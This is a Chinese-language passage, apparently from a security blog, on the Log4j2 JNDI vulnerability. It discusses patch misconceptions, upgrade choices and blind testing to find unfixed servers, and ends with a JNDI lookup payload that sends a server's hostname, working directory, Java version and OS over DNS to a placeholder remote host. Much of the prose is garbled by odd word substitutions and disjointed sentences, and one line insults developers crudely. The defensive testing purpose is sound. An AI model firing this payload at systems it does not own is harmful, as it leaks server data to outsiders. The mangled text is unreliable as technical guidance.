有些人说更新jdk版本后你较多是开启dnslog你别的啥也做不来,摸排了一些自个的jdk版本后就不用担心了。这类念头也是断章取义的,借助好友礼拜天的发醇,就算盲打本地gadget较为艰难,现在可以确立的是最烂状况下可以外送网站服务器上的比较敏感数据,例如springboot上的配置数据、系统的系统变量等。这类外送比较敏感数据的方法乃至可以外送出数据库密码等数据,为别的的攻击做铺垫。实际可以参照浅蓝写的文章内容.
0x03升级包
有关补丁有几个错误观念先聊一聊,一个是绕过的问题,说白了的绕过就是指在nolookups为false的情况下(也就是开启lookup)rc1才存有被绕过的安全风险,而nolookups在后面好多个补丁内早已直接被置为true了。另一个是有关怎样更新的问题,最先我们要确立好多个点:
在后面的好多个补丁,如rc1、rc2到不久,nolookups全是初始为true的
在不久最新版,jndi早已被初始置为false了
咱们本身的资产到底有什么使用lookup
最重要的或是确立到底有什么使用lookup功能
假如使用了,那样你务必更新到最新版(包括关掉jndi的版本),随后你还是须要手动式配置开启lookup(nolookups=false)。
假如你吃不准或是现阶段来看影响并不大,你能更新到任意修复版本先维持不动看一下状况。
归根结底,最妥当的方案便是弄掉log4j2的jndi后再次开启lookup防止影响业务功能。自然假如确实有煞笔码农用到了lookup里的jndi,那他应当被吊起来打,可是做为安全人员协调摸排有关问题或是须要的。
0x04摸排问题服务
因为资产状况非常复杂,即使我们自己有各种各样说白了的智能化服务平台,我也不太坚信能照顾到全部的资产,因此我建议在修复后长时间开展各种各样盲测,检测的情况下可以借助以下语句:
${jndi:dns://xxx.xxx.xxx.xxx:port/${hostName}-${sys:user.dir}-${sys:java.version}-${java:os}}
上边这一改动一些远程控制vps的地址和端口,借助监听udp端口的方法来获取带外数据,假如命中了便会传送回来相关服务的名称类似的,帮助精准定位里面易损资产,精准定位后开展重点整治。